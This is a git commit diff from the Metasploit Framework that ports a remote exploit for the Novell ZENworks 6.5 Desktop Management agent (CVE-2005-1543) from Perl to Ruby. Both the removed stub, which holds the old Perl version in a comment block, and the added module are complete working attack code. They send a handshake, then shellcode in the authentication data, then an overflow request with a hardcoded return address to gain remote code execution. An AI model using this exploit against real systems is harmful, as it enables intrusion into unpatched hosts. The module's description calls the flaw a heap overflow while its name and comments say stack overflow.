Ported
git-svn-id: file:///home/svn/incoming/trunk@3133 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
7624b4d78a
commit
53425595e7
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@ -1,194 +0,0 @@
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
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'Description' => %q{
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This module exploits a heap overflow in the Novell ZENworks
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Desktop Management agent. This vulnerability was discovered
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by Alex Wheeler.
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},
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'Author' => [ 'anonymous' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '16698'],
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[ 'CVE', '2005-1543'],
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[ 'BID', '13678'],
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[ 'MIL', '91'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 32767,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'win32, winnt, winxp, win2k, win2003',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'May 19 2005',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::zenworks_desktop_agent;
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use strict;
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use base "Msf::Exploit";
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use Pex::Text;
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my $advanced = { };
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my $info =
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{
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'Name' => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'anonymous' ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 1761],
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},
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'Payload' =>
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{
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'Space' => 0x7FFF,
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'BadChars' => "\x00",
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'Keys' => ['+ws2ord'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This module exploits a heap overflow in the Novell ZENworks
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Desktop Management agent. This vulnerability was discovered by
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Alex Wheeler.
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}),
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'Refs' =>
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[
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['OSVDB', '16698'],
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['CVE', '2005-1543'],
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['BID', '13678'],
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['MIL', '91'],
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],
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'DefaultTarget' => 0,
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'Targets' =>
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[
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[ 'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent', 0x10002e06]
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],
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'Keys' => ['zenworks'],
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'DisclosureDate' => 'May 19 2005',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
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my $s = Msf::Socket::Tcp->new(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ( $s->IsError ) {
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$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
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return;
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}
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my $req = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77";
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$self->PrintLine( "[*] Sending version identication" );
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$s->Send($req);
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my $ident = $s->Recv(-1, 16);
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if (length($ident) != 16) {
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$self->PrintLine( "[*] Failed to receive agent version identication" );
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return;
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}
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else {
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$self->PrintLine( "[*] Received agent version identication" );
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}
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$req = "\x00\x01";
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$self->PrintLine( "[*] Sending client acknowledgment" );
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$s->Send($req);
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# stack overflow in ZenRem32.exe / ZENworks Server Management
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$req = "\x00\x06metmet\x00\x06metmet\x7F\xFF" . $shellcode . "\x00\x01";
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$self->PrintLine( "[*] Sending authentication data (including shellcode)" );
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$s->Send($req);
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$s->Recv(2, 2);
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$s->Send("\x00\x01");
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$s->Send("\x00\x02");
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$self->PrintLine( "[*] Sending final payload" );
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# pop/pop/pop/pop/pop/ret in zencomm.dll on our shellcode
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my $crash = "A" x 0x20;
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$req = "\x00\x24" . $crash . pack('V', $target->[1]);
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$s->Send($req);
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$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
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select(undef, undef, undef, 4);
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$self->Handler($s);
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return;
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}
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1;
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=end
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end
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end
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@ -0,0 +1,84 @@
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require 'msf/core'
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module Msf
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class Exploits::Windows::Novell::ZenworksDesktopAgentOverflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ZENworks 6.5 Desktop/Server Management Remote Stack Overflow',
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'Description' => %q{
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This module exploits a heap overflow in the Novell ZENworks
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Desktop Management agent. This vulnerability was discovered
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by Alex Wheeler.
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},
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'Author' => [ 'anonymous' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '16698'],
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[ 'CVE', '2005-1543'],
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[ 'BID', '13678'],
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[ 'MIL', '91'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 32767,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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[
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'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
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{
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'Platform' => 'win',
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'Ret' => 0x10002e06,
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},
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],
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],
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'DisclosureDate' => 'May 19 2005',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
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print_status("Sending version identification")
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sock.put(hello)
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ident = sock.get_once
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if (not (ident and ident.length == 16))
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print_status("Failed to receive agent version identification")
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return
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end
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print_status("Received agent version identification")
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print_status("Sending client acknowledgement")
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sock.put("\x00\x01")
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# Stack overflow in ZenRem32.exe / ZENworks Server Management
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sock.put("\x00\x06metmet\x00\x06metmet\x7f\xff" + payload.encoded + "\x00\x01")
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ack = sock.get_once
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sock.put("\x00\x01")
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sock.put("\x00\x02")
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print_status("Sending final payload")
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sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
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print_status("Overflow request sent, sleeping for four seconds")
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select(nil, nil, nil, 4)
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handler
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disconnect
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end
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end
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end
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